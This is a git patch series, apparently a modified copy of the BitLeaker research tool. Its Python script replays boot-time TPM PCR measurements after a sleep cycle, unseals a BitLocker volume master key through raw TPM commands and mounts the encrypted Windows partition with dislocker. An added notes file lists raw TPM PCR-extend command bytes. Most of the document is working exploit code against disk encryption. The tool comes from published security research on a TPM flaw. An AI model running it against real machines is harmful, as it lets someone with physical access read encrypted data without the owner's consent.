╢╢╢╢╢╢╢╢╢╢╢╢[ ░░░░░╙╢▓╣╬▓▓@@▓▓@░░æ▓▓▓[ + ╢╢╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢..[ ░░░░░ ░▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒H + ╢ ╢` ░░░░░░░▒▒▒▒▒▒▒▒▒▒╢▒▒╢╢╢[ + ..╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢ ░░░░░░░▒▒▒▒▒▒▒▒▒▒╢╢╢╢╢╢[ + ╢╢╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢[ ¿░░░,░░░░░░░▒▒▒▒▒▒▒▒▒▒╢╢╢╢╢╢[ + ╢╢╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢░░░░░░░░░░░░╣▓▓@░░░▒▒▒▒▒▒▒▒▒▒╫╣╣╣▓▓[ + ╙╙ ╙╬ ╨╜╙╬╢╢╢╣╣╢╢╢░░░░░░░░░░░░░░░░╫▓@▓▓▓▒▒▒▒▒▒▒▓▓▓▓▓▓[ + ,,, ,░░░░░░░░░░╙╨░░░░░░░░░░░░░░░░░░▓▒▒▒▓▓▓▓▓▓▓▓▓▓▓▀"` + ,,.░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░]▒░░░╙╢▒▓╣▓▒▒▒▒ ] + ▐▓█████▄░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░╟▒▒▒▒▒▒▒▒▒╣▓╢╢╢ ░░ + ▐▓▓██████████▄░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▓╢▒▒▒▒╢▓╢╢▒┌░░ + ▐▓▓█████████████████▄░░░▒▒░░▒▒▒▒▒▒▒╢╢╢╢╢╢Ñ▒▒▓╢▒▒▒▒▓╣╢╜▒░░ + ╜▓▓██▀████████████████▌║▒▒▒▒╢╢╢╢╣╢╢╢╣╣╣╣╣╣╣╝╣▒▒╢▓" ▒░░ + ` "╙``╙╣▀█▀▀██████████▌╢╢╢╢╢╢╢╣╣╣╣╣╢Ñ╜╨Ñ╝` ╙ ,, ▒▒▒ + "` "╨╢▀▀▓▓███▌╢╣╣╣╣╣╣╜╜╨╨╜ ▄, ░░ ,▌ ░░▒▒▒ + ░ e ╙╣▓▌Ñ╜╙╙╜` ▌▓ ░░░ ░░░░░▒▒▒ + ░░░░╧╤░░░ , , ▐░ ░░░░ ░░░░░░░░█▐░▒░▒▒▒ + ░░░░,░░░░░░ ▐, j▌█ ░ ░░░░░░░░░░░▐░░▒░░░░░░░▒░▒▒▒ + ░░░░▌█░░░░░░░░░░░░ ░░░░░░░░░░░░╪░░░░░░░░░░░▒░░▒░▒▌▒▒▒▒▒▒` + ▒▒▒▒░▒▒▒▒▒▒░░æ▄▒░▒▒░░æ▄▒▒▒▒▒▒▒▒▌▓▒▒▒▒▒▒▒æ▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒ + ]▒▒▒▒░▒▒▒▒▒▒▒▒╬▒▒▒▒▒▒▒╬▒▒▒▒▒▒▒▒▒▐▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░ + └ ▒░░▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒]▒░▒▒░▒░▒▒▒░▒▒▒░░░ ░░░; ░░ + ▒░░▒▒░▒║░▒▒▒▒▒▒░▒▒▒▒▒░▒]▒▒]░░▒▒░░ ░░▒░▒░▒░░ ░░ ⌡ ░ + ░ ░░▒░▒] ░░▒░▒░░▒▒░]░░▒;▒▒]░░░░ ░ ░░j░░░▒░ ░ ! + ░▒L░░└ ░░ ░▒ ░ ░░▒!▒▒ ░ ░ ░ ░░└ ░ ▒ + ▒L░ ░▒ ░ ░ ░ ░ ░ └ ░ + +""" + \ + GREEN +' BitLeaker v1.0 for decrypting BitLocker with the TPM vulnerability\n' + ENDC + \ + ' Made by Seunghun Han, https://kkamagui.github.io\n' + \ + ' Project link: https://github.com/kkamagui/bitleaker \n' + print(banner) + +# +# Prepare PCR data from dmesg +# +def prepare_pcr_data(): + """ + [ 27.955579] bitleaker: Virt FFFFAF80C55E0000 Phys 80000 + [ 27.955582] bitleaker: evet_version = 2 + [ 27.955588] bitleaker: TCG_PCR_EVENT size 36 TCG_PCR_EVENT2 size 12 + [ 27.955595] bitleaker: Start 0x6f484000, End 0x6f48ebd5, Trunc 0 + [ 27.955610] bitleaker: [1] PCR 0, Event 7, SHA256= 31 37 22 f6 4f 2a 08 57 c6 01 26 6c 89 bf 21 70 0a 7c 4e 79 dc 96 76 4c 2a 35 55 68 2a 3c 7b 7a + [ 27.955627] bitleaker: [2] PCR 0, Event 8, SHA256= d4 72 0b 40 09 43 82 13 b8 03 56 80 17 f9 03 09 3f 6b ea 8a b4 7d 28 3d b3 2b 6e ab ed bb f1 55 + [ 27.955642] bitleaker: [3] PCR 0, Event 1, SHA256= db e1 4c 63 b7 d0 be dd 3f aa 9d b8 8f 9c 34 ad 75 a6 91 f7 c0 17 7f 70 1e ee 59 5d 44 d9 62 bc + [ 27.955661] bitleaker: [4] PCR 7, Event 80000001, SHA256= cc fc 4b b3 28 88 a3 45 bc 8a ea da ba 55 2b 62 7d 99 34 8c 76 76 81 ab 31 41 f5 b0 1e 40 a4 0e + [ 27.955678] bitleaker: [5] PCR 7, Event 80000001, SHA256= 78 68 42 98 cc 54 cf 75 50 bd 38 d3 c3 78 ee ee 59 d3 ae 02 76 32 cd a6 f5 07 ac 5c cd 25 7b 35 + ... omitted ... + [ 27.957613] bitleaker: == End of Data == + """ + info_print('Loading BitLeaker kernel module... ') + #subprocess.getoutput('sudo insmod bitleaker-kernel-module/bitleaker-kernel-module.ko') + #subprocess.getoutput('sudo insmod bitleaker-kernel-module/bitleaker-kernel-module-5.3.ko') + subprocess.getoutput('sudo modprobe bitleaker-kernel-module') + color_print('Success\n', SUCCESS) + + info_print('Entering sleep...\n') + info_print(' [>>] Please press any key or power button to wake up...') + input('') + subprocess.getoutput('systemctl suspend') + info_print('Waking up...\n') + info_print(' [>>] Please press any key to continue...') + input('') + info_print('\n') + + info_print('Preparing PCR data.\n') + info_print(' [>>] Get PCR data from BitLeaker driver... '), + output = subprocess.getoutput('sudo dmesg').split('\n') + + first_marker_found = 0 + second_marker_found = 0 + raw_data = [] + for line in output: + if 'Dump event logs' in line: + first_marker_found = 1 + + if first_marker_found == 1 and 'SHA1' in line: + second_marker_found = 1 + + if second_marker_found == 1 and 'End of Data' in line: + break + + if second_marker_found == 1: + raw_data.append(line) + + if len(raw_data) == 0: + color_print('Fail\n', FAIL) + sys.exit(-1) + color_print('Success\n\n', SUCCESS) + + return raw_data + +def read_canned_pcr_data(filename): + f = open(filename, 'r') + output = f.readlines() + f.close() + + first_marker_found = 0 + second_marker_found = 0 + raw_data = [] + for line in output: + if 'Dump event logs' in line: + first_marker_found = 1 + + if first_marker_found == 1 and 'SHA1' in line: + second_marker_found = 1 + + if second_marker_found == 1 and 'End of Data' in line: + break + + if second_marker_found == 1: + raw_data.append(line) + + info_print('Entering sleep...\n') + info_print(' [>>] Please press any key or power button to wake up...') + input('') + subprocess.getoutput('systemctl suspend') + info_print('Waking up...\n') + info_print(' [>>] Please press any key to continue...') + input('') + info_print('\n') + + if len(raw_data) == 0: + color_print('Fail\n', FAIL) + sys.exit(-1) + color_print('Success\n\n', SUCCESS) + + return raw_data + + +# +# Cut PCR data and extract pcr_list +# +def cut_and_extract_essential_pcr_data(raw_data): + """ + [ 27.955610] bitleaker: [1] PCR 0, Event 7, SHA256= 31 37 22 f6 4f 2a 08 57 c6 01 26 6c 89 bf 21 70 0a 7c 4e 79 dc 96 76 4c 2a 35 55 68 2a 3c 7b 7a + """ + info_print('Cut and extract essential PCR data.\n') + + extracted_raw_data = [] + ev_separator_found = 0 + for line in raw_data: + #if ev_separator_found == 1 and 'PCR 7' in line: + # break + + if 'Event 80000003' in line: + break + + extracted_raw_data.append(line) + + info_print(' [>>] Extract PCR numbers and SHA1 hashes... ') + + # Extract PCR numbers and SHA1 hashes + pcr_list = [] + for line in extracted_raw_data: + # PCR number + match = re.search(r'\d+?,', line) + pcr_num = match.group(0).replace(',', ' ') + + # SHA 1 + match = re.search(r'(?<=SHA1=).*', line) + sha1 = match.group(0).replace(' ', '') + + pcr_list.append([pcr_num, sha1]) + + if len(pcr_list) != 0: + color_print('Success\n\n', SUCCESS) + else: + color_print('Fail\n\n', FAIL) + sys.exit(-1) + + info_print(' [>>] Stored list:\n') + print(pcr_list) + return pcr_list + +# +# Check resource manager is running and run it +# +def check_and_run_resource_manager(): + info_print(' [>>] Checking the resource manager process... ') + sys.stdout.flush() + + output = subprocess.getoutput('sudo ps -e | grep resourcemgr') + if 'resourcemgr' in output: + color_print('Running\n', SUCCESS) + return 0 + + pid = os.fork() + if pid == 0: + subprocess.getoutput('sudo %s TPM2.0-TSS/resourcemgr/resourcemgr > /dev/null' % (tpm_library_path)) + sys.exit(0) + else: + # Wait for the resource manager + resourcemgr_found = False + + for i in range(0, 10): + output = subprocess.getoutput('ps -e | grep resourcemgr') + if len(output) != 0: + resourcemgr_found = True + break + + sleep(1) + + if resourcemgr_found == False: + color_print('Fail\n', FAIL) + sys.exit(-1) + + color_print('Success\n', SUCCESS) + sleep(3) + return 0 + +# +# Replay PCR data to the TPM +# +def replay_pcr_data(pcr_list): + info_print('Replay TPM data.\n') + check_and_run_resource_manager() + + output = subprocess.getoutput('%s tpm2-tools/src/tpm2_listpcrs -g 0x04' % (tpm_library_path)) + print(output + '\n') + for pcr_data in pcr_list: + info_print(' [>>] PCR %s, SHA1 = %s\n' % (pcr_data[0], pcr_data[1])) + output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P %s -i %s' % (tpm_library_path, pcr_data[0], pcr_data[1])) + print(output + '\n') + + # Last one for PCR #7 + info_print(' [>>] Last PCR 7, SHA1 = %s\n' % (sha1_bootmgfw_cert)) + #info_print(' [>>] Last PCR 7, SHA1 = %s\n' % (sha256_bootmgfw_cert)) + #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 4 -i %s' % (tpm_library_path, 'dbacc822c8778d9b40b862daf318cf718757123b')) + #print(output + '\n') + output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 7 -i %s' % (tpm_library_path, sha1_bootmgfw_cert)) + print(output + '\n') + #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 4 -i %s' % (tpm_library_path, 'dbacc822c8778d9b40b862daf318cf718757123b')) + #print(output + '\n') + #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 11 -i %s' % (tpm_library_path, '5497b0911b3f5772723def3b360a2e654327c19b')) + #print(output + '\n') + #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 11 -i %s' % (tpm_library_path, '3a4072cc6b77e2639d4fdc91c91efc11bc3e33c3')) + #print(output + '\n') + + output = subprocess.getoutput('%s tpm2-tools/src/tpm2_listpcrs -g 0x04' % (tpm_library_path)) + print(output + '\n') + +# os.system('sudo killall resourcemgr') + +# +# Extract TPM encoded blob from Dislocker tool +# +def get_raw_tpm_encoded_blob_from_dislocker(drive_path): + """ + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000000 00 8a 00 20 17 a4 c4 51-c1 ee 18 52 89 b0 e3 ac + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000010 39 65 f7 32 25 5b 87 ac-31 14 ed 1a 99 ac 62 4c + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000020 b2 90 b5 c1 00 10 8c cf-34 58 f5 1a 18 04 f9 2e + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000030 62 fa e3 93 a0 d1 ce 1f-49 99 9b ac 6d e8 27 97 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000040 c9 f9 c2 20 aa e7 23 1f-7c 68 1e 7e 74 65 c6 89 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000050 d9 f2 94 15 51 0f a1 8a-64 ae f6 c0 01 bb 8b 67 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000060 0a 2d 3b 65 15 f1 62 51-2d 8b 61 0d 8b 98 3f 76 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000070 b3 3f 64 7a 12 59 74 bb-60 e5 ad 5e 61 a1 31 3c + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000080 f9 90 17 6c fe 07 eb 49-20 69 55 66 00 4e 00 08 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000090 00 0b 00 00 04 12 00 20-6f b5 05 0c 0a 64 e6 ff + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000a0 2e 0a f1 8e 9c d8 26 40-87 44 b0 f2 08 4a bc a9 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000b0 c7 cd 7e 72 17 de cc f0-00 10 00 20 3d c3 40 aa + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000c0 98 5b 5b 48 50 9e 71 c2-19 03 0a bc bd 95 a6 10 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000d0 22 12 2d e3 e6 50 63 79-af f1 3c c4 00 20 5f f5 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000e0 9b 8f b8 7c 48 dc 43 68-60 eb a2 70 cc a2 22 4e + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000f0 7b b9 f0 83 ed fe 78 91-fa ed e2 b4 de 5a 03 80 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000100 08 00 + """ + # Run Dislocker with debug mode + print("Library path: %s, drive_path %s\n" % (dislocker_library_path,drive_path)) + output = subprocess.getoutput('sudo %s dislocker/src/dislocker-metadata -v -v -v -v -V %s' % (dislocker_library_path, drive_path)).split('\n') + print("output = %s" % (output)) + + first_marker_found = 0 + second_marker_found = 0 + raw_data = [] + for line in output: + if 'TPM_ENCODED' in line: + first_marker_found = 1 + + if first_marker_found == 1 and '0x00000000' in line: + second_marker_found = 1 + + if second_marker_found == 1 and not '0x000000' in line: + break + + if second_marker_found == 1: + raw_data.append(line[44:]) + + return raw_data + +# +# Extract private/public data and PCR policy +# +def extract_priv_pub_and_pcr_policy_from_raw_blob(raw_tpm_blob): + print("RAW TPM BLOB: ",end='') + print(raw_tpm_blob) + hex_data = [] + for line in raw_tpm_blob: + line = line.replace('-', ' ') + line = line.replace(' ', ' ') + data_list = line.split(' ') + hex_data = hex_data + data_list[:-1] + + hex_data = hex_data[:] + + print("hex_data:",end="") + print(hex_data) + priv_pub = [int(hex_data[i], 16) for i in range(0, 0xc4)] + pcr_policy = [int(hex_data[i], 16) for i in range(0xc4, len(hex_data) - 1)] + return(priv_pub, pcr_policy) + +# +# Prepare TPM data for unsealing VMK of BitLocker +# +def prepare_tpm_data(drive_path): + info_print('Preparing TPM data.\n') + info_print(' [>>] Get TPM-encoded blob from dislocker... ') + raw_data_list = get_raw_tpm_encoded_blob_from_dislocker(drive_path) + if raw_data_list == []: + print('BitLeaker: Error. %s is not BitLocker-locked partition\n' % drive_path) + sys.exit(-1) + color_print('Success\n', SUCCESS) + + info_print(' [>>] Convert TPM-encoded blob to hex data... ') + hex_priv_pub, pcr_policy = extract_priv_pub_and_pcr_policy_from_raw_blob(raw_data_list) + color_print('Success\n', SUCCESS) + info_print(' [>>] raw_data_list:\n%s,%d\n' % (raw_data_list, len(raw_data_list))) + info_print(' [>>] hex_priv:\n%s,%d\n' % (hex_priv_pub, len(hex_priv_pub))) + info_print(' [>>] pcr_policy:\n%s,%d\n' % (pcr_policy, len(pcr_policy))) + + # Prepare TPM1_Load data + info_print(' [>>] Create TPM1_Load data... ') + data = data_tpm1_load_header + hex_priv_pub + file = open('tpm1_load.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM1_StartSession data + info_print(' [>>] Create TPM1_StartSession data... ') + data = data_tpm1_startsession + file = open('tpm1_startsession.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM1_PolicyAuthorize data + info_print(' [>>] Create TPM1_PolicyAuthorize data... ') + data = data_tpm1_policyauthorize + file = open('tpm1_policyauthorize.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM1_PCRPolicy data + info_print(' [>>] Create TPM1_PolicyPCR data... ') + data1 = data_tpm1_pcrpolicy_header + pcr_policy[:len(pcr_policy) - 4] + data2 = data_tpm1_pcrpolicy_subheader + pcr_policy[len(pcr_policy) - 4:] + file = open('tpm1_policypcr.bin', 'wb') + file.write(bytearray(data1)) + file.write(bytearray(data2)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM1_Unseal data + info_print(' [>>] Create TPM1_Unseal data... ') + data = data_tpm1_unseal + file = open('tpm1_unseal.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n\n', SUCCESS) + +# +# Execute TPM1 command data for unsealing VMK +# +def execute_tpm_cmd_and_extract_vmk(): + info_print('Execute TPM commands\n') + + # Execute TPM1_Load command + info_print(' [>>] Execute TPM1_Load... ') +# check_and_run_resource_manager() + #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_load.bin' % tpm_library_path) + output = subprocess.getoutput('sudo %s ./tpm2-tools/src/tpm2_loadexternal -H n -u pubkey.bin -r privkey.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM1_StartSession command + info_print(' [>>] Execute TPM1_StartSession... ') + output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_startsession.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM1_PolicyAuthorize command + info_print(' [>>] Execute TPM1_PolicyAuthorize... ') + output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policyauthorize.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM1_PolicyPCR command + info_print(' [>>] Execute TPM1_PolicyPCR... ') + output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policypcr.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM1_Unseal command + info_print(' [>>] Execute TPM1_Unseal... ') + output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_unseal.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Extract VMK from TPM result + vmk_data = extract_vmk_from_tpm_result(output.split('\n')) + return vmk_data + +# +# Extract VMK from TPM result +# +def extract_vmk_from_tpm_result(tpm_output): + """ + [>>] Execute TPM1_Unseal... Input file tpm1_unseal.bin +Initializing Local Device TCTI Interface + [>>] Input Size 27 +00000000 80 02 00 00 00 1b 00 00 01 5e 80 00 00 01 00 00 |.........^......| +00000010 00 09 03 00 00 00 00 00 00 00 00 |...........| + + [>>] Output Size 97, Result: Success +00000000 80 02 00 00 00 61 00 00 00 00 00 00 00 2e 00 2c |.....a.........,| +00000010 2c 00 05 00 01 00 00 00 03 20 00 00 88 2e b7 28 |,........ .....(| +00000020 33 cd 21 05 f5 38 ea 60 89 51 62 e8 61 5b 0c ed |3.!..8.`.Qb.a[..| +00000030 6a 63 7e f9 17 83 55 e9 0f 70 95 09 00 20 df e3 |jc~...U..p... ..| +00000040 75 69 1f e8 30 33 ef 3f 10 49 e3 53 de 18 e4 f1 |ui..03.?.I.S....| +00000050 0c e2 18 dd 7c bf ab 1d 6d 63 38 ec d1 f3 00 00 |....|...mc8.....| +00000060 00 |.| +Success + """ + output_found = 0 + vmk_data = [] + for line in tpm_output: + if 'Output Size' in line: + output_found = 1 + continue + + if not 'Success' in line: + return [] + + if output_found == 1 and not '0000' in line: + break + + if output_found == 1: + data = line.split('|') + data = data[0].split() + vmk_data = vmk_data + data[1:17] + + vmk_data = [int(vmk_data[i], 16) for i in range(28, 60)] + return vmk_data + +# +# Mount BitLocker-locked partition with the VMK +# +def mount_bitlocker_partition_with_vmk(drive_path, vmk_data): + info_print('Mount BitLocker-locked Partition with VMK.\n') + + # Print VMK + color_print(' [>>] VMK = ', GREEN) + for hex in vmk_data: + color_print('%02X'% hex, GREEN) + info_print('\n') + + # Prepare TPM2_Load data + info_print(' [>>] Create VMK data... ') + file = open('vmk.bin', 'wb') + file.write(bytearray(vmk_data)) + file.close() + color_print('Success\n', SUCCESS) + + # Mount BitLocker-locked partition + subprocess.getoutput('mkdir windows') + info_print(' [>>] Mount BitLocker-Locked partition(%s)...\n\n' % drive_path) + output = subprocess.getoutput('sudo dislocker -v -v -v -V %s -K vmk.bin -- ./windows' % drive_path) + print(output) + output = subprocess.getoutput('sudo mount -o loop ./windows/dislocker-file ./windows') + +# +# Main +# +if __name__ == '__main__': + # Show a banner + show_banner() + + # Searching for BitLocker-locked partitions + info_print('Search for BitLocker-locked partitions.\n') + + if len(sys.argv) != 2: + output = subprocess.getoutput('sudo fdisk -l 2>/dev/null | grep "Microsoft basic data"').split('\n') + if len(output) == 0: + color_print(' [>>] BitLocker-locked partition is not found.\n', FAIL) + info_print(' [>>] Please try with the explicit drive path. ./bitleaker.py \n') + sys.exit(-1) + + drive_path = output[0].split(' ')[0] + else: + drive_path = sys.argv[1] + + info_print(' [>>] BitLocker-locked partition is [%s]\n\n' % drive_path) + + # Prepare PCR data + #raw_data = read_canned_pcr_data("bitleaker-data.txt") + raw_data = prepare_pcr_data() + pcr_list = cut_and_extract_essential_pcr_data(raw_data) + replay_pcr_data(pcr_list) + + # Prepare TPM data and extract VMK + ##f = open(filename,'wb') + ##prepare_tpm_data(drive_path) + ##vmk_data = execute_tpm_cmd_and_extract_vmk() + ##f.write(hexlify(bytearray(vmk_data))) + ##f.close() + os.system('sudo killall resourcemgr') + + +# # Mount BitLocker-locked partition with VMK +# mount_bitlocker_partition_with_vmk(drive_path, vmk_data) + From f0898bc0ab6815a40a5ccd5a1aea7802471a0907 Mon Sep 17 00:00:00 2001 From: Brandon Warhurst Date: Thu, 22 Oct 2020 17:04:59 -0400 Subject: [PATCH 3/7] added a notes files to keep track of things. --- my_notes.txt | 145 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 my_notes.txt diff --git a/my_notes.txt b/my_notes.txt new file mode 100644 index 0000000..88eaac7 --- /dev/null +++ b/my_notes.txt @@ -0,0 +1,145 @@ +PCR7 -- +1:d4 fd d1 f1 4d 40 41 49 4d eb 8f c9 90 c4 53 43 d2 27 7d 08 +2:(96 14 ae 51 0c 24 bd e6 cf 8d fc 36 db c9 b2 15 16 a2 cc 88) +3:13 f0 2f bc 73 83 ed 7c 89 01 7e 0b 32 f6 0e 38 e2 82 05 6c +3:a2 33 ad bc 63 e3 fd c5 f7 36 93 a3 cc 4a 27 04 17 14 38 3f +5:(75 22 ce 54 35 91 5d 68 99 d3 79 f4 9d ae b0 d6 d6 82 54 90) +6:90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +7:9f c7 13 b7 24 8d 99 a1 a0 db 3d 50 c1 4e b9 b4 ff 27 07 21 + +These are the PCR7 extensions I've seen with Bitleaker booting +Windows as well as direct TPM monitoring. + +# PCR Extend PCR7 +80 02 00 00 00 35 00 00 01 82 00 00 00 07 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 d4 fd d1 f1 4d 40 41 49 4d eb 8f c9 90 c4 53 43 d2 27 7d 08 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR7 +80 02 00 00 00 35 00 00 01 82 00 00 00 07 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 c0 f2 b2 f9 78 25 96 36 9b 4f c9 8b 92 7a 06 e1 41 8b 3f 56 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR7 +80 02 00 00 00 35 00 00 01 82 00 00 00 07 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 13 f0 2f bc 73 83 ed 7c 89 01 7e 0b 32 f6 0e 38 e2 82 05 6c +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR7 +80 02 00 00 00 35 00 00 01 82 00 00 00 07 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 a2 33 ad bc 63 e3 fd c5 f7 36 93 a3 cc 4a 27 04 17 14 38 3f +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR7 +80 02 00 00 00 35 00 00 01 82 00 00 00 07 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 c9 56 12 85 a0 15 50 f3 01 f9 60 21 21 81 88 00 0a f2 d7 2f +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR0 +80 02 00 00 00 35 00 00 01 82 00 00 00 00 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR1 +80 02 00 00 00 35 00 00 01 82 00 00 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR2 +80 02 00 00 00 35 00 00 01 82 00 00 00 02 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR3 +80 02 00 00 00 35 00 00 01 82 00 00 00 03 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR4 +80 02 00 00 00 35 00 00 01 82 00 00 00 04 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR5 +80 02 00 00 00 35 00 00 01 82 00 00 00 05 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR6 +80 02 00 00 00 35 00 00 01 82 00 00 00 06 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR7 +80 02 00 00 00 35 00 00 01 82 00 00 00 07 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR5 +80 02 00 00 00 35 00 00 01 82 00 00 00 05 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 f3 9b d6 03 91 7e ee 29 d5 27 6b 7e a2 4a fe 1a 18 96 95 7c +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR4 +80 02 00 00 00 35 00 00 01 82 00 00 00 04 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 3f 62 30 2d 8c 03 6c 7d 2d 4a e6 a4 7f c8 43 90 28 87 18 08 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# PCR Extend PCR7 +80 02 00 00 00 35 00 00 01 82 00 00 00 07 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 9f c7 13 b7 24 8d 99 a1 a0 db 3d 50 c1 4e b9 b4 ff 27 07 21 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# TPM Get Compatibility +80 01 00 00 00 16 00 00 01 7a 00 00 00 02 00 00 01 82 00 00 00 01 +80 01 00 00 00 17 00 00 00 00 01 00 00 00 02 00 00 00 01 02 40 01 82 +# PCR 